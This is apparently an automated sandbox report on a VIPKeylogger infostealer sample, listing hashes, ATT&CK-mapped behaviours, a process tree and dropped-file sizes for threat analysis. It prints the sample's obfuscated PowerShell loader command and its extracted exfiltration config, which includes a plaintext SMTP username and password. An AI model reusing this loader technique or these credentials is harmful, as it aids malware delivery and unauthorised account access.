Analysis
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max time kernel
144s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
10-12-2024 15:26
General
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Target
ST07933.exe
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Size
820KB
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MD5
d9c24eb3137fb3e1f939625d3076bb0f
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SHA1
9d06b465b4e137dccc09aa583fd928bbcf2275aa
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SHA256
02184b32f1b3e76b78acf7e889f3f581ef65696df1f64efb9bfe3b2d2ccabfd6
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SHA512
f1d6e69a72deb762416c0954faa05196debc9b6b53ab9a38621dbeb0175dd907ce4758b0aea6f78501b5b9a6c8307c50a10fe7c6e4af72415c9a573d08baf057
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SSDEEP
24576:wTkQIwLXEADfmo/SbKdsyjlR4MsfZV+ER/r:qvTDf6bKdsalRpsfZV+q/r
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
JA-*2020antonio - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ST07933.exe"C:\Users\Admin\AppData\Local\Temp\ST07933.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Dudleyite119=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\depersonaliseredes\Faldgruberne\Proterandrous.Dis';$Interlaminating=$Dudleyite119.SubString(7465,3);.$Interlaminating($Dudleyite119)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
71KB
MD592abdd2b532425d14efa291e5d5780b3
SHA1489bac8d9c5f423a1f92f7ad618b5c2b288fdd69
SHA25686aecbcc718243267fef6fa993e76cc33e49b708e68353b982cc4af30ce7876b
SHA512b8b6b3a16eb40cb6a778e7e77c289aebdb685c170d173ddf59034a6546b7dbc6e4216ff92ee36f2eeb84ab6f3becd838732689f9ce54db94858fb754a4276e61
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Filesize
293KB
MD597558276c365fbe801720b97d8f39edb
SHA1bc27ec1aaf395a74aa8d7fb85a8e52f86b23c7fd
SHA2567af8da81126c1341ca58e7010715cc4bc8b18ff206a3b3d4a4a5f8a72fa9e899
SHA5127ac1d867e0fe4b25781ea8c70c162a042684c27e6a50e3a3dabfa02513109109211bc3f78854d9604ccd661c32549519e6950f1982b4951ef51dc363f8e49e43
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Filesize
4KB
-
Filesize
216KB
-
Filesize
6.2MB
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Filesize
7.7MB
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Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
200KB
-
Filesize
120KB
-
Filesize
652KB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
81.6MB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
18.3MB
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Filesize
18.3MB
-
Filesize
288KB
-
Filesize
624KB
-
Filesize
1.8MB
-
Filesize
320KB
-
Filesize
584KB
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Filesize
40KB